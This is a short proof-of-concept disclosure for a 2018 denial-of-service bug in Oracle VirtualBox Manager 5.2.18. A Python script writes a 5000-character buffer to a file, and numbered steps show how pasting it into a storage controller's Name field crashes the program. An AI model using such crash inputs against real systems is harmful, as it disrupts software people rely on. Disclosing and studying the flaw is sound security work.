# Exploit Title: Oracle VirtualBox Manager 5.2.18 r124319  - 'Name Attribute' Denial of Service (PoC)
# Discovery by: Jose Eduardo Castro
# Discovery Date: 2018-09-14
# Vendor Homepage: https://www.virtualbox.org/
# Software Link: https://download.virtualbox.org/virtualbox/5.2.18/VirtualBox-5.2.18-124319-Win.exe
# Tested Version: 5.2.18 r124319
# Tested on OS  : Windows 7 Ultimate x64 es
  
#!/usr/bin/env python
#-*-coding: utf-8-*-
# Steps to Produce the DoS: 
# 1.- Run python code : python vb_dos.py
# 2.- Open string.txt and copy content to clipboard
# 3.- Open VM VirtualBox Manager
# 4.- Select a created virtual machine in mode "power off" and select "Settings"
# 5.- Select "Storage" button
# 6.- Select option "Adds new storage controller" and select any controller
# 7.- Paste ClipBoard on "Name"
# 8.- Clic OK
# 9.- DoS
  
import socket, os, sys
  
buffer = "\x41" * 5000
  
f = open ("string.txt", "w")
f.write(buffer)
f.close()